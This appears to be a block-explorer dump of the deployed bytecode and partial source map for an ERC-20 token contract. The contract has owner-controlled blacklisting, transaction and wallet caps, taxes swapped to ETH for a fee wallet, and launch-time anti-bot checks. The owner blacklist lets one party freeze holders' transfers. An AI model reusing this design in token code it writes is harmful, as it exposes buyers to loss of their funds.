f40b06f75583a739b8390834b8364736f6c63430008050033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610384578063be9a6555146103a4578063bf474bed146103b9578063d34628cc146103cf578063dd62ed3e146103ef578063e1c7392a1461043557600080fd5b80637d1db4a5146102eb5780638da5cb5b146103015780638f9a55c01461032957806395d89b411461033f5780639bc593091461036e57600080fd5b8063313ce567116100fd578063313ce5671461021457806331c2d847146102305780633bbac5791461025257806370a082311461028b578063715018a6146102c1578063751039fc146102d657600080fd5b806306fdde0314610145578063095ea7b31461018b5780630faee56f146101bb57806318160ddd146101df57806323b872dd146101f457600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600b81526a21a424a722a9a2902ba4a360a91b60208201525b6040516101829190611a42565b60405180910390f35b34801561019757600080fd5b506101ab6101a63660046118fa565b61044a565b6040519015158152602001610182565b3480156101c757600080fd5b506101d160135481565b604051908152602001610182565b3480156101eb57600080fd5b506101d1610461565b34801561020057600080fd5b506101ab61020f3660046118b9565b610482565b34801561022057600080fd5b5060405160098152602001610182565b34801561023c57600080fd5b5061025061024b366004611926565b6104eb565b005b34801561025e57600080fd5b506101ab61026d366004611846565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029757600080fd5b506101d16102a6366004611846565b6001600160a01b031660009081526001602052604090205490565b3480156102cd57600080fd5b5061025061058a565b3480156102e257600080fd5b506102506105fe565b3480156102f757600080fd5b506101d1600f5481565b34801561030d57600080fd5b506000546040516001600160a01b039091168152602001610182565b34801561033557600080fd5b506101d160125481565b34801561034b57600080fd5b5060408051808201909152600681526521a424aba4a360d11b6020820152610175565b34801561037a57600080fd5b506101d160115481565b34801561039057600080fd5b506101ab61039f3660046118fa565b6106b0565b3480156103b057600080fd5b506102506106bd565b3480156103c557600080fd5b506101d160105481565b3480156103db57600080fd5b506102506103ea366004611926565b6108b2565b3480156103fb57600080fd5b506101d161040a366004611880565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044157600080fd5b50610250610944565b6000610457338484610bc8565b5060015b92915050565b600061046f6009600a611bba565b61047d90633b9aca00611c65565b905090565b600061048f848484610ced565b6104e184336104dc85604051806060016040528060288152602001611d11602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611327565b610bc8565b5060019392505050565b6000546001600160a01b0316331461051e5760405162461bcd60e51b815260040161051590611a97565b60405180910390fd5b60005b81518110156105865760006004600084848151811061054257610542611ccc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057e81611c9b565b915050610521565b5050565b6000546001600160a01b031633146105b45760405162461bcd60e51b815260040161051590611a97565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106285760405162461bcd60e51b815260040161051590611a97565b6106346009600a611bba565b61064290633b9aca00611c65565b600f556106516009600a611bba565b61065f90633b9aca00611c65565b6012557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068f6009600a611bba565b61069d90633b9aca00611c65565b60405190815260200160405180910390a1565b6000610457338484610ced565b6000546001600160a01b031633146106e75760405162461bcd60e51b815260040161051590611a97565b601554600160a01b900460ff161561073b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610515565b6014546011546001600160a01b039091169063f305d719904790309060008061076c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107cf57600080fd5b505af11580156107e3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108089190611a14565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085c57600080fd5b505af1158015610870573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089491906119f2565b506015805462ff00ff60a01b19166201000160a01b17905543600e55565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161051590611a97565b60005b81518110156105865760016004600084848151811061090057610900611ccc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061093c81611c9b565b9150506108df565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161051590611a97565b601554600160a01b900460ff16156109c25760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610515565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610a0b9030906109fd6009600a611bba565b6104dc90633b9aca00611c65565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a5957600080fd5b505afa158015610a6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a919190611863565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610aee57600080fd5b505afa158015610b02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b269190611863565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b6e57600080fd5b505af1158015610b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba69190611863565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610515565b6001600160a01b038216610c8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610515565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610515565b6001600160a01b038216610db35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610515565b60008111610e155760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610515565b601554600160b01b900460ff161580610e375750601554600160a81b900460ff165b15610ee4576001600160a01b038316600090815260016020526040902054610e60908290611c84565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610e90908290611b3d565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce09085815260200190565b600080546001600160a01b03858116911614801590610f1157506000546001600160a01b03848116911614155b156112d2576001600160a01b03841660009081526004602052604090205460ff16158015610f5857506001600160a01b03831660009081526004602052604090205460ff16155b610f6157600080fd5b610f8d6064610f87600954600c5411610f7c57600554610f80565b6007545b8590611361565b906113e7565b6015549091506001600160a01b038581169116148015610fbb57506014546001600160a01b03848116911614155b8015610fe057506001600160a01b03831660009081526003602052604090205460ff16155b156110ea57600f548211156110375760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610515565b6012548261105a856001600160a01b031660009081526001602052604090205490565b6110649190611b3d565b11156110b25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610515565b43600e5460036110c29190611b3d565b11156110d457823b156110d457600080fd5b600c80549060006110e483611c9b565b91905055505b6015546001600160a01b0384811691161480159061112157506001600160a01b03831660009081526003602052604090205460ff16155b156111a15760125482611149856001600160a01b031660009081526001602052604090205490565b6111539190611b3d565b11156111a15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610515565b6015546001600160a01b0384811691161480156111c757506001600160a01b0384163014155b156111f4576111f16064610f87600a54600c54116111e757600654610f80565b6008548590611361565b90505b30600090815260016020526040902054601554600160a81b900460ff1615801561122b57506015546001600160a01b038581169116145b80156112405750601554600160b01b900460ff165b801561124f5750600b54600c54115b801561127457506001600160a01b03851660009081526003602052604090205460ff16155b801561129957506001600160a01b03841660009081526003602052604090205460ff16155b156112d05760105481106112c4576112c46112bf846112ba84601354611429565b611429565b61143e565b476112ce476115c7565b505b505b6001600160a01b03841660009081526003602052604090205460019060ff16156112fd575060009050805b80156113145761130f85858585611601565b611320565b61132085858585611744565b5050505050565b6000818484111561134b5760405162461bcd60e51b81526004016105159190611a42565b5060006113588486611c84565b95945050505050565b6000826113705750600061045b565b600061137c8385611c65565b9050826113898583611b55565b146113e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610515565b9392505050565b60006113e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611767565b600081831161143857826113e0565b50919050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148657611486611ccc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114da57600080fd5b505afa1580156114ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115129190611863565b8160018151811061152557611525611ccc565b6001600160a01b03928316602091820292909201015260145461154b9130911684610bc8565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611584908590600090869030904290600401611acc565b600060405180830381600087803b15801561159e57600080fd5b505af11580156115b2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610586573d6000803e3d6000fd5b801561167b57306000908152600160205260409020546116219082611795565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116729085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461169e90836117f4565b6001600160a01b0385166000908152600160205260409020556116e36116c483836117f4565b6001600160a01b03851660009081526001602052604090205490611795565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61172d85856117f4565b60405190815260200160405180910390a350505050565b6001600160a01b03841660009081526001602052604090205461169e90826117f4565b600081836117885760405162461bcd60e51b81526004016105159190611a42565b5060006113588486611b55565b6000806117a28385611b3d565b9050838110156113e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610515565b60006113e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611327565b803561184181611cf8565b919050565b60006020828403121561185857600080fd5b81356113e081611cf8565b60006020828403121561187557600080fd5b81516113e081611cf8565b6000806040838503121561189357600080fd5b823561189e81611cf8565b915060208301356118ae81611cf8565b809150509250929050565b6000806000606084860312156118ce57600080fd5b83356118d981611cf8565b925060208401356118e981611cf8565b929592945050506040919091013590565b6000806040838503121561190d57600080fd5b823561191881611cf8565b946020939093013593505050565b6000602080838503121561193957600080fd5b823567ffffffffffffffff8082111561195157600080fd5b818501915085601f83011261196557600080fd5b81358181111561197757611977611ce2565b8060051b604051601f19603f8301168101818110858211171561199c5761199c611ce2565b604052828152858101935084860182860187018a10156119bb57600080fd5b600095505b838610156119e5576119d181611836565b8552600195909501949386019386016119c0565b5098975050505050505050565b600060208284031215611a0457600080fd5b815180151581146113e057600080fd5b600080600060608486031215611a2957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611a6f57858101830151858201604001528201611a53565b81811115611a81576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b1c5784516001600160a01b031683529383019391830191600101611af7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5057611b50611cb6565b500190565b600082611b7257634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115611bb2578160001904821115611b9857611b98611cb6565b80851615611ba557918102915b93841c9390800290611b7c565b509250929050565b60006113e060ff841683600082611bd35750600161045b565b81611be05750600061045b565b8160018114611bf65760028114611c0057611c1c565b600191505061045b565b60ff841115611c1157611c11611cb6565b50506001821b61045b565b5060208310610133831016604e8410600b8410161715611c3f575081810a61045b565b611c498383611b77565b8060001904821115611c5d57611c5d611cb6565b029392505050565b6000816000190483118215151615611c7f57611c7f611cb6565b500290565b600082821015611c9657611c96611cb6565b500390565b6000600019821415611caf57611caf611cb6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611d0d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b0d10fd2c6b35681c44679317d349ddc5031f40b06f75583a739b8390834b8364736f6c63430008050033

Deployed Bytecode Sourcemap

3868:10388:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7503:83;;;;;;;;;;-1:-1:-1;7573:5:0;;;;;;;;;;;;-1:-1:-1;;;7573:5:0;;;;7503:83;;;;;;;:::i;:::-;;;;;;;;8386:186;;;;;;;;;;-1:-1:-1;8386:186:0;;;;;:::i;:::-;;:::i;:::-;;;5138:14:1;;5131:22;5113:41;;5101:2;5086:18;8386:186:0;5068:92:1;5065:55:0;;;;;;;;;;;;;;;;;;;10121:25:1;;;10109:2;10094:18;5065:55:0;10076:76:1;7780:95:0;;;;;;;;;;;;;:::i;8580:446::-;;;;;;;;;;-1:-1:-1;8580:446:0;;;;;:::i;:::-;;:::i;7689:83::-;;;;;;;;;;-1:-1:-1;7689:83:0;;4617:1;11284:36:1;;11272:2;11257:18;7689:83:0;11239:87:1;6719:168:0;;;;;;;;;;-1:-1:-1;6719:168:0;;;;;:::i;:::-;;:::i;:::-;;6895:86;;;;;;;;;;-1:-1:-1;6895:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;6966:7:0;6942:4;6966:7;;;:4;:7;;;;;;;;;6895:86;7883:119;;;;;;;;;;-1:-1:-1;7883:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7976:18:0;7949:7;7976:18;;;:9;:18;;;;;;;7883:119;3050:148;;;;;;;;;;;;;:::i;6277:162::-;;;;;;;;;;;;;:::i;4810:56::-;;;;;;;;;;;;;;;;2836:79;;;;;;;;;;-1:-1:-1;2874:7:0;2901:6;2836:79;;-1:-1:-1;;;;;2901:6:0;;;3711:51:1;;3699:2;3684:18;2836:79:0;3666:102:1;5000:58:0;;;;;;;;;;;;;;;;7594:87;;;;;;;;;;-1:-1:-1;7666:7:0;;;;;;;;;;;;-1:-1:-1;;;7666:7:0;;;;7594:87;;4936:57;;;;;;;;;;;;;;;;8010:192;;;;;;;;;;-1:-1:-1;8010:192:0;;;;;:::i;:::-;;:::i;9377:515::-;;;;;;;;;;;;;:::i;4873:56::-;;;;;;;;;;;;;;;;6547:164;;;;;;;;;;-1:-1:-1;6547:164:0;;;;;:::i;:::-;;:::i;8210:168::-;;;;;;;;;;-1:-1:-1;8210:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;8343:18:0;;;8316:7;8343:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8210:168;5819:450;;;;;;;;;;;;;:::i;8386:186::-;8486:4;8503:39;2469:10;8526:7;8535:6;8503:8;:39::i;:::-;-1:-1:-1;8560:4:0;8386:186;;;;;:::o;7780:95::-;7833:7;4673:15;4617:1;4673:2;:15;:::i;:::-;4660:28;;:10;:28;:::i;:::-;7853:14;;7780:95;:::o;8580:446::-;8712:4;8729:36;8739:6;8747:9;8758:6;8729:9;:36::i;:::-;8776:220;8799:6;2469:10;8847:138;8903:6;8847:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8847:19:0;;;;;;:11;:19;;;;;;;;2469:10;8847:33;;;;;;;;;;:37;:138::i;:::-;8776:8;:220::i;:::-;-1:-1:-1;9014:4:0;8580:446;;;;;:::o;6719:168::-;2963:6;;-1:-1:-1;;;;;2963:6:0;2469:10;2963:22;2955:67;;;;-1:-1:-1;;;2955:67:0;;;;;;;:::i;:::-;;;;;;;;;6794:6:::1;6789:91;6810:6;:13;6806:1;:17;6789:91;;;6863:5;6845:4;:15;6850:6;6857:1;6850:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;6845:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;6845:15:0;:23;;-1:-1:-1;;6845:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6825:3;::::1;::::0;::::1;:::i;:::-;;;;6789:91;;;;6719:168:::0;:::o;3050:148::-;2963:6;;-1:-1:-1;;;;;2963:6:0;2469:10;2963:22;2955:67;;;;-1:-1:-1;;;2955:67:0;;;;;;;:::i;:::-;3157:1:::1;3141:6:::0;;3120:40:::1;::::0;-1:-1:-1;;;;;3141:6:0;;::::1;::::0;3120:40:::1;::::0;3157:1;;3120:40:::1;3188:1;3171:19:::0;;-1:-1:-1;;;;;;3171:19:0::1;::::0;;3050:148::o;6277:162::-;2963:6;;-1:-1:-1;;;;;2963:6:0;2469:10;2963:22;2955:67;;;;-1:-1:-1;;;2955:67:0;;;;;;;:::i;:::-;4673:15:::1;4617:1;4673:2;:15;:::i;:::-;4660:28;::::0;:10:::1;:28;:::i;:::-;6331:12;:22:::0;4673:15:::1;4617:1;4673:2;:15;:::i;:::-;4660:28;::::0;:10:::1;:28;:::i;:::-;6364:14;:24:::0;6404:27:::1;4673:15;4617:1;4673:2;:15;:::i;:::-;4660:28;::::0;:10:::1;:28;:::i;:::-;6404:27;::::0;10121:25:1;;;10109:2;10094:18;6404:27:0::1;;;;;;;6277:162::o:0;8010:192::-;8113:4;8130:42;2469:10;8154:9;8165:6;8130:9;:42::i;9377:515::-;2963:6;;-1:-1:-1;;;;;2963:6:0;2469:10;2963:22;2955:67;;;;-1:-1:-1;;;2955:67:0;;;;;;;:::i;:::-;9433:11:::1;::::0;-1:-1:-1;;;9433:11:0;::::1;;;9432:12;9424:48;;;::::0;-1:-1:-1;;;9424:48:0;;9825:2:1;9424:48:0::1;::::0;::::1;9807:21:1::0;9864:2;9844:18;;;9837:30;-1:-1:-1;;;9883:18:1;;;9876:53;9946:18;;9424:48:0::1;9797:173:1::0;9424:48:0::1;9493:15;::::0;9597:12:::1;::::0;-1:-1:-1;;;;;9493:15:0;;::::1;::::0;:31:::1;::::0;9532:21:::1;::::0;9577:4:::1;::::0;9493:15:::1;::::0;9656:7:::1;2874::::0;2901:6;-1:-1:-1;;;;;2901:6:0;;2836:79;9656:7:::1;9493:211;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9493:211:0;;;-1:-1:-1;;;;;4720:15:1;;;9493:211:0::1;::::0;::::1;4702:34:1::0;4752:18;;;4745:34;;;;4795:18;;;4788:34;;;;4838:18;;;4831:34;4902:15;;;4881:19;;;4874:44;9678:15:0::1;4934:19:1::0;;;4927:35;4636:19;;9493:211:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9724:13:0::1;::::0;9755:15:::1;::::0;9717:71:::1;::::0;-1:-1:-1;;;9717:71:0;;-1:-1:-1;;;;;9755:15:0;;::::1;9717:71;::::0;::::1;4256:51:1::0;-1:-1:-1;;4323:18:1;;;4316:34;9724:13:0;::::1;::::0;-1:-1:-1;9717:29:0::1;::::0;4229:18:1;;9717:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9801:11:0::1;:18:::0;;-1:-1:-1;;;;9830:18:0;-1:-1:-1;;;9830:18:0;;;9872:12:::1;9859:10;:25:::0;9377:515::o;6547:164::-;2963:6;;-1:-1:-1;;;;;2963:6:0;2469:10;2963:22;2955:67;;;;-1:-1:-1;;;2955:67:0;;;;;;;:::i;:::-;6621:6:::1;6616:88;6637:5;:12;6633:1;:16;6616:88;;;6688:4;6671;:14;6676:5;6682:1;6676:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;6671:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;6671:14:0;:21;;-1:-1:-1;;6671:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6651:3;::::1;::::0;::::1;:::i;:::-;;;;6616:88;;5819:450:::0;2963:6;;-1:-1:-1;;;;;2963:6:0;2469:10;2963:22;2955:67;;;;-1:-1:-1;;;2955:67:0;;;;;;;:::i;:::-;5874:11:::1;::::0;-1:-1:-1;;;5874:11:0;::::1;;;5873:12;5865:48;;;::::0;-1:-1:-1;;;5865:48:0;;9825:2:1;5865:48:0::1;::::0;::::1;9807:21:1::0;9864:2;9844:18;;;9837:30;-1:-1:-1;;;9883:18:1;;;9876:53;9946:18;;5865:48:0::1;9797:173:1::0;5865:48:0::1;5926:15;:104:::0;;-1:-1:-1;;;;;;5926:104:0::1;5977:42;5926:104:::0;;::::1;::::0;;;6043:58:::1;::::0;6060:4:::1;::::0;4673:15:::1;4617:1;4673:2;:15;:::i;:::-;4660:28;::::0;:10:::1;:28;:::i;6043:58::-;6148:15;;;;;;;;;-1:-1:-1::0;;;;;6148:15:0::1;-1:-1:-1::0;;;;;6148:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6130:55:0::1;;6208:4;6228:15;;;;;;;;;-1:-1:-1::0;;;;;6228:15:0::1;-1:-1:-1::0;;;;;6228:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6130:131;::::0;-1:-1:-1;;;;;;6130:131:0::1;::::0;;;;;;-1:-1:-1;;;;;4003:15:1;;;6130:131:0::1;::::0;::::1;3985:34:1::0;4055:15;;4035:18;;;4028:43;3920:18;;6130:131:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6114:13;:147:::0;;-1:-1:-1;;;;;;6114:147:0::1;-1:-1:-1::0;;;;;6114:147:0;;;::::1;::::0;;;::::1;::::0;;5819:450::o;9034:335::-;-1:-1:-1;;;;;9127:19:0;;9119:68;;;;-1:-1:-1;;;9119:68:0;;9420:2:1;9119:68:0;;;9402:21:1;9459:2;9439:18;;;9432:30;9498:34;9478:18;;;9471:62;-1:-1:-1;;;9549:18:1;;;9542:34;9593:19;;9119:68:0;9392:226:1;9119:68:0;-1:-1:-1;;;;;9206:21:0;;9198:68;;;;-1:-1:-1;;;9198:68:0;;6727:2:1;9198:68:0;;;6709:21:1;6766:2;6746:18;;;6739:30;6805:34;6785:18;;;6778:62;-1:-1:-1;;;6856:18:1;;;6849:32;6898:19;;9198:68:0;6699:224:1;9198:68:0;-1:-1:-1;;;;;9277:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9329:32;;10121:25:1;;;9329:32:0;;10094:18:1;9329:32:0;;;;;;;;9034:335;;;:::o;11083:3170::-;-1:-1:-1;;;;;11171:18:0;;11163:68;;;;-1:-1:-1;;;11163:68:0;;8659:2:1;11163:68:0;;;8641:21:1;8698:2;8678:18;;;8671:30;8737:34;8717:18;;;8710:62;-1:-1:-1;;;8788:18:1;;;8781:35;8833:19;;11163:68:0;8631:227:1;11163:68:0;-1:-1:-1;;;;;11250:16:0;;11242:64;;;;-1:-1:-1;;;11242:64:0;;5969:2:1;11242:64:0;;;5951:21:1;6008:2;5988:18;;;5981:30;6047:34;6027:18;;;6020:62;-1:-1:-1;;;6098:18:1;;;6091:33;6141:19;;11242:64:0;5941:225:1;11242:64:0;11334:1;11325:6;:10;11317:64;;;;-1:-1:-1;;;11317:64:0;;8249:2:1;11317:64:0;;;8231:21:1;8288:2;8268:18;;;8261:30;8327:34;8307:18;;;8300:62;-1:-1:-1;;;8378:18:1;;;8371:39;8427:19;;11317:64:0;8221:231:1;11317:64:0;11399:11;;-1:-1:-1;;;11399:11:0;;;;11398:12;;:22;;-1:-1:-1;11414:6:0;;-1:-1:-1;;;11414:6:0;;;;11398:22;11394:217;;;-1:-1:-1;;;;;11455:15:0;;;;;;:9;:15;;;;;;:24;;11473:6;;11455:24;:::i;:::-;-1:-1:-1;;;;;11437:15:0;;;;;;;:9;:15;;;;;;:42;;;;11510:13;;;;;;;:22;;11526:6;;11510:22;:::i;:::-;-1:-1:-1;;;;;11494:13:0;;;;;;;:9;:13;;;;;;;:38;;;;11552:26;;;;;;;;;;11571:6;10121:25:1;;10109:2;10094:18;;10076:76;11394:217:0;11623:17;2901:6;;-1:-1:-1;;;;;11659:15:0;;;2901:6;;11659:15;;;;:32;;-1:-1:-1;2874:7:0;2901:6;-1:-1:-1;;;;;11678:13:0;;;2901:6;;11678:13;;11659:32;11655:2284;;;-1:-1:-1;;;;;11717:10:0;;;;;;:4;:10;;;;;;;;11716:11;:24;;;;-1:-1:-1;;;;;;11732:8:0;;;;;;:4;:8;;;;;;;;11731:9;11716:24;11708:33;;;;;;11768:208;11972:3;11768:181;11832:15;;11820:9;;:27;11819:111;;11916:14;;11819:111;;;11876:12;;11819:111;11768:6;;:28;:181::i;:::-;:203;;:208::i;:::-;12023:13;;11756:220;;-1:-1:-1;;;;;;12015:21:0;;;12023:13;;12015:21;:72;;;;-1:-1:-1;12071:15:0;;-1:-1:-1;;;;;12057:30:0;;;12071:15;;12057:30;;12015:72;:113;;;;-1:-1:-1;;;;;;12109:19:0;;;;;;:15;:19;;;;;;;;12108:20;12015:113;11993:557;;;12181:12;;12171:6;:22;;12163:60;;;;-1:-1:-1;;;12163:60:0;;6373:2:1;12163:60:0;;;6355:21:1;6412:2;6392:18;;;6385:30;6451:27;6431:18;;;6424:55;6496:18;;12163:60:0;6345:175:1;12163:60:0;12298:14;;12288:6;12272:13;12282:2;-1:-1:-1;;;;;7976:18:0;7949:7;7976:18;;;:9;:18;;;;;;;7883:119;12272:13;:22;;;;:::i;:::-;:40;;12242:140;;;;-1:-1:-1;;;12242:140:0;;9065:2:1;12242:140:0;;;9047:21:1;9104:2;9084:18;;;9077:30;9143:28;9123:18;;;9116:56;9189:18;;12242:140:0;9037:176:1;12242:140:0;12424:12;12407:10;;12420:1;12407:14;;;;:::i;:::-;:29;12403:102;;;10483:20;;10531:8;12461:24;;;;;;12523:9;:11;;;:9;:11;;;:::i;:::-;;;;;;11993:557;12576:13;;-1:-1:-1;;;;;12570:19:0;;;12576:13;;12570:19;;;;:43;;-1:-1:-1;;;;;;12594:19:0;;;;;;:15;:19;;;;;;;;12593:20;12570:43;12566:224;;;12690:14;;12680:6;12664:13;12674:2;-1:-1:-1;;;;;7976:18:0;7949:7;7976:18;;;:9;:18;;;;;;;7883:119;12664:13;:22;;;;:::i;:::-;:40;;12634:140;;;;-1:-1:-1;;;12634:140:0;;9065:2:1;12634:140:0;;;9047:21:1;9104:2;9084:18;;;9077:30;9143:28;9123:18;;;9116:56;9189:18;;12634:140:0;9037:176:1;12634:140:0;12816:13;;-1:-1:-1;;;;;12810:19:0;;;12816:13;;12810:19;:44;;;;-1:-1:-1;;;;;;12833:21:0;;12849:4;12833:21;;12810:44;12806:332;;;12887:235;13118:3;12887:204;12959:16;;12947:9;;:28;12946:122;;13053:15;;12946:122;;;13008:13;;12887:6;;:32;:204::i;:235::-;12875:247;;12806:332;13203:4;13154:28;7976:18;;;:9;:18;;;;;;13247:6;;-1:-1:-1;;;13247:6:0;;;;13246:7;:47;;;;-1:-1:-1;13280:13:0;;-1:-1:-1;;;;;13274:19:0;;;13280:13;;13274:19;13246:47;:79;;;;-1:-1:-1;13314:11:0;;-1:-1:-1;;;13314:11:0;;;;13246:79;:130;;;;;13358:18;;13346:9;;:30;13246:130;:173;;;;-1:-1:-1;;;;;;13398:21:0;;;;;;:15;:21;;;;;;;;13397:22;13246:173;:214;;;;-1:-1:-1;;;;;;13441:19:0;;;;;;:15;:19;;;;;;;;13440:20;13246:214;13224:704;;;13522:17;;13498:20;:41;13495:206;;13564:117;13607:51;13611:6;13619:38;13623:20;13645:11;;13619:3;:38::i;:::-;13607:3;:51::i;:::-;13564:16;:117::i;:::-;13766:21;13858:35;13871:21;13858:12;:35::i;:::-;13476:452;13224:704;11693:2246;11655:2284;-1:-1:-1;;;;;13988:21:0;;13951:15;13988:21;;;:15;:21;;;;;;13969:4;;13988:21;;13984:88;;;-1:-1:-1;14038:1:0;;-1:-1:-1;14038:1:0;13984:88;14088:10;14084:162;;;14115:42;14129:4;14135:2;14139:6;14147:9;14115:13;:42::i;:::-;14084:162;;;14190:44;14206:4;14212:2;14216:6;14224:9;14190:15;:44::i;:::-;11152:3101;;11083:3170;;;: